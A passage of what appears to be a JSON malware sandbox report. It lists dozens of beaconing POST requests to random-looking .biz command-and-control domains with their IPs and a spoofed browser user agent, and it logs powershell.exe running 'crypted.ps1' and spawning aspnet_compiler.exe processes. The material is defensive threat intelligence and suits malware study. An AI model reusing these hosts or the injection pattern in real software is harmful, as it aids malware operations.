860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"qaynky.biz","host_ip":"3.238.30.69:80","url":"/kkwlqrube","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /kkwlqrube HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: qaynky.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"dwrqljrr.biz","host_ip":"34.41.139.193:80","url":"/mfrqir","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /mfrqir HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: dwrqljrr.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"dwrqljrr.biz","host_ip":"34.41.139.193:80","url":"/ybdqpqwn","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ybdqpqwn HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: dwrqljrr.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"nqwjmb.biz","host_ip":"52.43.119.120:80","url":"/aawvul","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /aawvul HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: nqwjmb.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"nqwjmb.biz","host_ip":"52.43.119.120:80","url":"/sqqpcadnkg","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /sqqpcadnkg HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: nqwjmb.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"ytctnunms.biz","host_ip":"52.16.171.153:80","url":"/jvltds","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /jvltds HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: ytctnunms.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"ytctnunms.biz","host_ip":"52.16.171.153:80","url":"/xxamf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /xxamf HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: ytctnunms.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"myups.biz","host_ip":"165.160.15.20:80","url":"/mrjamadgomsxut","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /mrjamadgomsxut HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: myups.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"myups.biz","host_ip":"165.160.15.20:80","url":"/bppvxq","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bppvxq HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: myups.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"oshhkdluh.biz","host_ip":"44.244.22.128:80","url":"/ftfowewwqcf","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ftfowewwqcf HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: oshhkdluh.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"oshhkdluh.biz","host_ip":"44.244.22.128:80","url":"/krseo","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /krseo HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: oshhkdluh.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"jpskm.biz","host_ip":"34.209.195.255:80","url":"/qsugtfbjv","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /qsugtfbjv HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: jpskm.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"lrxdmhrr.biz","host_ip":"44.244.22.128:80","url":"/bdjoerdfknlsim","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /bdjoerdfknlsim HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: lrxdmhrr.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"wllvnzb.biz","host_ip":"50.16.27.236:80","url":"/cwskvwfkoexuwk","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /cwskvwfkoexuwk HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: wllvnzb.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"gnqgo.biz","host_ip":"34.229.166.50:80","url":"/skmowpbxjm","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /skmowpbxjm HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gnqgo.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"jpskm.biz","host_ip":"34.209.195.255:80","url":"/grnfmnsp","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /grnfmnsp HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: jpskm.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"lrxdmhrr.biz","host_ip":"44.244.22.128:80","url":"/wugamt","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /wugamt HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: lrxdmhrr.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"wllvnzb.biz","host_ip":"50.16.27.236:80","url":"/wb","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /wb HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: wllvnzb.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"gnqgo.biz","host_ip":"34.229.166.50:80","url":"/prll","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /prll HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gnqgo.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"acwjcqqv.biz","host_ip":"50.16.27.236:80","url":"/qaemot","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /qaemot HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: acwjcqqv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"yauexmxk.biz","host_ip":"34.229.166.50:80","url":"/xmsfnrjjduambr","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /xmsfnrjjduambr HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: yauexmxk.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"iuzpxe.biz","host_ip":"3.238.30.69:80","url":"/g","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /g HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: iuzpxe.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"sxmiywsfv.biz","host_ip":"3.238.30.69:80","url":"/i","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /i HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: sxmiywsfv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"vrrazpdh.biz","host_ip":"34.209.195.255:80","url":"/sywrtauykym","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /sywrtauykym HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: vrrazpdh.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"ftxlah.biz","host_ip":"52.16.171.153:80","url":"/yoopsulylglsg","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /yoopsulylglsg HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: ftxlah.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"typgfhb.biz","host_ip":"3.238.30.69:80","url":"/wv","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /wv HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: typgfhb.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"esuzf.biz","host_ip":"34.209.195.255:80","url":"/qydpac","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /qydpac HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: esuzf.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"gvijgjwkh.biz","host_ip":"52.16.171.153:80","url":"/awpkai","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /awpkai HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: gvijgjwkh.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"qpnczch.biz","host_ip":"34.209.195.255:80","url":"/nnsaanis","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /nnsaanis HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: qpnczch.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"brsua.biz","host_ip":"52.212.150.54:80","url":"/tdkxrcymqt","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /tdkxrcymqt HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: brsua.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"dlynankz.biz","host_ip":"85.214.228.140:80","url":"/hshrpjedkwl","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /hshrpjedkwl HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: dlynankz.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"dlynankz.biz","host_ip":"85.214.228.140:80","url":"/dq","method":"POST","response_code":"404","response_phrase":"Not Found","header":"POST /dq HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: dlynankz.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"oflybfv.biz","host_ip":"52.16.171.153:80","url":"/jjyarteqwodx","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /jjyarteqwodx HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: oflybfv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"yhqqc.biz","host_ip":"34.209.195.255:80","url":"/psssnxvj","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /psssnxvj HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: yhqqc.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"mnjmhp.biz","host_ip":"52.16.171.153:80","url":"/ytpukfv","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ytpukfv HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: mnjmhp.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"opowhhece.biz","host_ip":"34.41.139.193:80","url":"/ajxguktg","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /ajxguktg HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: opowhhece.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"jdhhbs.biz","host_ip":"3.238.30.69:80","url":"/wvvb","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /wvvb HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: jdhhbs.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"mgmsclkyu.biz","host_ip":"3.250.92.156:80","url":"/vtgymxfakljhd","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /vtgymxfakljhd HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: mgmsclkyu.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"warkcdu.biz","host_ip":"50.16.27.236:80","url":"/caioxutna","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /caioxutna HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: warkcdu.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 860","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]},{"host":"acwjcqqv.biz","host_ip":"50.16.27.236:80","url":"/f","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /f HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: acwjcqqv.biz\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400\nContent-Length: 858","sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6abd3a5b3b3b7d4b5e0db189"}],"processes":[{"pid":7328,"ppid":0,"name":"powershell.exe","command_line":"-f \"C:\\crypted.ps1\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","uid":"00000000-00007328","icon":"$50"},{"pid":7148,"ppid":7328,"name":"aspnet_compiler.exe","command_line":"","sha256":"d7409d01e21b22084f3c166022c69ad46ddd7aaaff8eed6eb540961d3a196aea","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00007328","uid":"00000000-00007148"},{"pid":8040,"ppid":7328,"name":"aspnet_compiler.exe","command_line":"","sha256":"d7409d01e21b22084f3c166022c69ad46ddd7aaaff8eed6eb540961d3a196aea","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00007328","uid":"00000000-00008040"},{"pid":4404,"ppid":7328,"name":"aspnet_compiler.exe","command_line":"","sha256":"d7409d01e21b22084f3c166022c69ad46ddd7aaaff8eed6eb540961d3a196aea","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00007328","uid":"00000000-00004404"},{"pid":3604,"ppid":7328,"name":"aspnet_compiler.exe","command_line":"","sha256":"d7409d01e21b22084f3c166022c69ad46ddd7aaaff8eed6eb540961d3a196aea","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00007328","uid":"00000000-00003604"},{"pid":4392,"ppid":7328,"name":"aspnet_compiler.exe","command_line":"","sha256":"d7409d01e21b22084f3c166022c69ad46ddd7aaaff8eed6eb540961d3a196aea","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00007328","uid":"00000000-00004392"},{"pid":7596,"ppid":7328,"name":"aspnet_compiler.exe","command_line":"","sha256":"d7409d01e21b22084f3c166022c69ad46ddd7aaaff8eed6eb540961d3a196aea","normalized_path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","parent_uid":"00000000-00007328","uid":"00000000-00007596"},{"pid":1828,"ppid":0,"name":"SearchIndexer.exe","command_line":"/Embedding","sha256":"7dc923eca8a7d17cc5172ffe293ead44e8b766d1d78304b1274d3ffa22312dd8","normalized_path":"%WINDIR%\\system32\\SearchIndexer.exe","uid":"00000000-00001828","icon":"$51"},{"pid":4236,"ppid":1828,"name":"SearchProtocolHost.exe","command_line":"Global\\UsGthrFltPipeMssGthrPipe1_ Global\\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 \"Software\\Microsoft\\Windows Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)\" \"%ALLUSERSPROFILE%\\Microsoft\\Search\\Data\\Temp\\usgthrsvc\" \"DownLevelDaemon\"","sha256":"6d4e8f5d61098a743aed8a59c3535b66b457d43c368432963377744e8e94f231","normalized_path":"%WINDIR%\\system32\\SearchProtocolHost.exe","parent_uid":"00000000-00001828","uid":"00000000-00004236"},{"pid":7548,"ppid":1828,"name":"SearchFilterHost.exe","command_line":"0 736 740 748 8192 